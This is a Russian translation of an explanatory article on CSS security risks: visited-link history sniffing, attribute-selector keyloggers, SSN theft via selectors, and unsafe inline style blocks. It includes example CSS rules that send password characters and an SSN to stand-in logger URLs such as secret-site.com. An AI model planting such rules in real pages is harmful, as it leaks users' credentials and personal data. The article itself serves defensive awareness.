Уязвимость и безопасность в CSS

CSS предлагает мощные инструменты для стилизации, но некоторые возможности могут создать уязвимости на сайте. Неправильное использование стилей, встроенных блоков или ссылок может привести к утечке данных или другим проблемам безопасности.

Вы научитесь выявлять потенциальные угрозы, избегать ошибок в коде и применять безопасные методы работы с CSS, чтобы минимизировать риски и обеспечить надежную защиту веб-приложений.

Обновлено: 2024-06-21 05:29:35 Вадим Дворниковавтор материала

Проблема "Посещенная ссылка"

Это выглядит так:

1. Вы размещаете ссылку на определенной странице своего сайта. Например, <a href="https://i-tickle-pigs.com">Tickle Pigs</a>
2. При этом для стилизации посещенной ссылки используется a:visited { color: pink; }. Но это оформление не является стилем, прописанным в браузере по умолчанию.
3. Вы проверяете стиль этой ссылки.
4. Если цвет ссылки совпадает, это значит, что пользовательский агент импортирует ваши данные на сервер?
5. Чтобы подстраховаться, вы используете следующий CSS-код: background-image: url(/data-logger/tickle.php).

Стоит ли волноваться? Нет, браузеры уже сделали все это невозможным.

Кейлоггер

Это выглядит так:

• На странице есть элемент для ввода пароля.
• Вы добавляете скрипт для записи вводимых символов в качестве значения свойства background элемента ввода. А также еще один миллиард селекторов, чтобы скрипт собирал некоторые или все введенные пароли.

input[value^="a"] { background: url(logger.php?v=a); }

Но не все так просто. Атрибут value поля input не меняется только потому, что вы что-то вводите в него. Иногда это происходит в таких средах, как React. Поэтому приведенный выше код может сработать на странице входа, созданной на основе React.

Но в этом случае на странице все равно выполняется JavaScript.  Кейлоггер на JavaScript - это всего лишь пара строк кода, отслеживающего события нажатия клавиш и сообщающего о них с помощью Ajax.

Сторонний и встроенный в XSS JavaScript-код теперь можно остановить с помощью политики безопасности контента (CSP). Но это также касается и CSS.

Кража данных

Это выглядит так:

1. Если злоумышленник смог перенести свой вредоносный CSS на страницу аутентификации на сайте.
2. И если этот сайт отображает конфиденциальную информацию (например, номер социального страхования (SSN) в предварительно заполненной форме).
3. То хакер может использовать селекторы атрибутов, чтобы выкрасть личные данные пользователя.

input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

Но для этого нужно задействовать миллиард.

Опасный встроенный блок стиля

Например:

<style>
  ... Сюда вставляются какие-либо сгенерированные пользователем данные
</style>

Предположим, что таким образом вы разрешаете пользователю некоторые настройки CSS. Но это опасно: злоумышленник может закрыть <style>, открыть <script> и внедрить вредоносный JavaScript-код.

Есть еще много всего

Возможно, что я преувеличиваю уязвимость CSS. Но безопасность имеет первостепенное значение. Хотя я никогда не слышал, чтобы CSS был основным направлением атаки.

Вадим Дворниковавтор-переводчик статьи «CSS Security Vulnerabilities»